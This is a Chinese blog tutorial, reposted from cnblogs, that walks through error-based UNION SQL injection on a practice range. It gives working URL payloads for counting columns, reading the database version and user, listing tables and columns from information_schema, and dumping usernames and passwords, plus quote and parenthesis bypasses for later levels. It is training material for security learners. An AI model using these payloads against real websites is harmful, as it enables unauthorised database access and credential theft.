mysql 错误回显注入,SQL注入实战篇2--显错注入

本次实战靶场用的封神台的SQL注入靶场。

d1541209594503eb9c1cae18ad643956.png

看过实战1后,咱们就直接来试试自己有没有学会。因为是靶场,所以肯定存在漏洞,咱们就不判断是否存在注入了。

第一步:从页面显示来看,这种应该是一个数字型的回显注入。那么我们就来看看有几列。

构造?id=1 and 1=1 group by 1

93f848f5d56800972ac84021715c13b1.png

发现页面没有报错,继续往后group by 2和group by 3...,当试到4的时候发现查询不到了,由此判断应该是有三个字段。

d0fda0c19377699b855c1288ed034385.png

第二步:确定有三列以后,接着看看回显的点。

构造?id=1 and 1=2 union select 1,2,3

a21b468334a52b10d374bc4711b05cfc.png

有了这两个回显点后,我们就可以简单查询一些信息了,像版本、当前数据库名、所属用户等等。

构造?id=1 and 1=2 union select 1,version(),user()

bd26f24a0b0de12296a21073b1a45923.png

ca68407c7583571cfd4d8d7f2f9aa3e5.png

第三步:由第二步获得了当前数据库的名称为error ,接着我们就可以获取数据库的一些信息了。

1、查询所有表:

?id=1%20and%201=2%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())

bf122a529ed2b39c45d0c5a97d86c6b5.png

2、查询表的字段 :以user表为例

构造?id=1%20and%201=2%20union%20select%201,2,column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27user%27%20limit%200,1

ad2102951b7754773722696fa5dced30.png

通过更改limit函数后面的数值可以得出此表的三个字段为Id,userame,password

efa7b4bdc9bd8620150baafaf610e81d.png

97a0af4b2a854f9a1f6802e95e05e0d5.png

3.查询某个表中的所有字段 (此例为 error数据库中的user表):

构造 ?id=1 and 1=2 union select 1,username,password from user limit 0,1

2c19fcddb2a34810659eaf519978da5f.png

当然这是第一关,后面几关就是绕过问题,绕过的姿势一定要帅。我这边也给大家一并做了吧

第二关:发现多加了单引号

239abaef7aca031ac20734550b422300.png

那么我们闭合单引号

构造?id=1%27%20and%201=2%20union%20select%201,2,3%23 就可以搞定了,后面跟前面一样,我就说个思路。

29cd159a5ae6423351e6c9cade943809.png

第三关:在第二关基础上加括号,一样的闭合括号

37ab332ea77bf5988ef258edee599c6c.png

那么我们构造?id=1%27)%20and%201=2%20union%20select%201,2,3%23  就可以解决

97251f30577be8892f14838e2b20139a.png

第四关:单引号变双引号

0b13e11f9cc19ae954a3180ad877064c.png

构造?id=1")%20and%201=2%20union%20select%201,2,3%23

3932ca4d8a6a7bd67a1d5a66b01443c5.png

如果大家觉得不过瘾,有一个靶场是sql-labs,大家可以自行搭建这个靶场练习。

至此,SQL注入的显错注入练习借结束了。下一篇盲注实战,喜欢的多多关注,感谢。

标签:201,显错,实战篇,20select%,20and%,2%,靶场,id,注入

来源: https://www.cnblogs.com/xyz315/p/13044627.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值